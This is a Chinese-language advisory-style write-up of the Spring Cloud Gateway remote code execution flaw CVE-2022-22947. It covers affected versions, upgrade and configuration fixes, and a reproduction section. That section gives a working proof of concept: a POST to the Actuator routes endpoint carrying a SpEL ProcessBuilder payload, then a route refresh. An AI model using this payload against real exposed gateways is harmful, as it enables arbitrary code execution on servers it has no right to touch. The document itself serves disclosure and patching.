漏洞说明
近日,VMware 官方发布安全公告,其中包含Spring Cloud Gateway
远程代码执行漏洞(CVE-2022-22947)
。使用 Spring Cloud Gateway
的应用如果对外暴露了 Gateway Actuator
接口,则可能存在被CVE-2022-22947
漏洞利用的风险,攻击者可通过利用此漏洞执行 SpEL 表达式,从而在目标服务器上执行任意恶意代码,获取系统权限。
影响范围
- Spring Cloud Gateway 3.1.x < 3.1.1
- Spring Cloud Gateway 3.0.x < 3.0.7
- 其他旧的、不受支持的 Spring Cloud Gateway 版本
漏洞复现
1. 搭建项目
参照本系列之前的文档搭建几个项目,并集成Actuator参考文档。
访问Actuator 路由端点,API 参考文档
GET http://localhost:8443/actuator/gateway/routes
2. 注入恶意代码
执行恶意代码分为两步:
- 添加携带恶意代码的路由
- 刷新路由信息
首先访问actuator 端点,添加一个携带了恶意代码(执行打开计算器)的路由:
POST http://localhost:8443/actuator/gateway/routes/test
{
"id": "test",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder(\"calc\").start()}"
}
}],
"uri": "https://www.baidu.com"
}
然后访问刷新路由端点,可以看到恶意代码执行(打开了计算器)。如果通过这种方式获取系统权限、植入木马病毒,那么问题就比较严重了。
解决方案
更新升级 Spring Cloud Gateway 到以下安全版本:
- Spring Cloud Gateway 3.1.1
- Spring Cloud Gateway 3.0.7
考虑不影响业务的情况下禁用 Actuator 接口,通过配置将其禁用:
management.endpoint.gateway.enable:false
对于已中毒的服务器最好进行重装处理。